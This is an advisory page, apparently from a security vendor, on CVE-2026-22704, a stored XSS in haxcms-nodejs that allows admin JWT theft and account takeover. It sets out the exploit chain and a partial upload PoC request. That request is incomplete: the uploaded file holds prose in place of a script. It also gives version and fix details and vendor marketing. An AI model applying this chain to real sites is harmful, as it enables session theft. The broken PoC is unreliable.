CVE-2026-22704

Stored XSS Leading to Account Takeover

Details

The Exploit Chain:
1.Upload: The attacker uploads an .html file containing a JavaScript payload.
2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.
3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request.
4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.
5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.
6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.

Vulnerability recurrence:

Then we test access to this html

You can obtain other people's identity information

PoC

POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1
Host: 192.168.1.72:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Connection: close
Content-Length: 1128

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bulk-import"

true
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html"
Content-Type: text/plain

The attacker now possesses a valid administrator JWT and can take full control of the application.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-22704 has a CVSS score of 8.0 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (25.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-22704? CVE-2026-22704 is a high-severity cross-site scripting (XSS) vulnerability in @haxtheweb/haxcms-nodejs (npm), affecting versions >= 11.0.6, < 25.0.0. It is fixed in 25.0.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-22704? CVE-2026-22704 has a CVSS score of 8.0 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @haxtheweb/haxcms-nodejs are affected by CVE-2026-22704? @haxtheweb/haxcms-nodejs (npm) versions >= 11.0.6, < 25.0.0 is affected.
4. Is there a fix for CVE-2026-22704? Yes. CVE-2026-22704 is fixed in 25.0.0. Upgrade to this version or later.
5. Is CVE-2026-22704 exploitable, and should I be worried? Whether CVE-2026-22704 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-22704 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-22704? Upgrade @haxtheweb/haxcms-nodejs to 25.0.0 or later.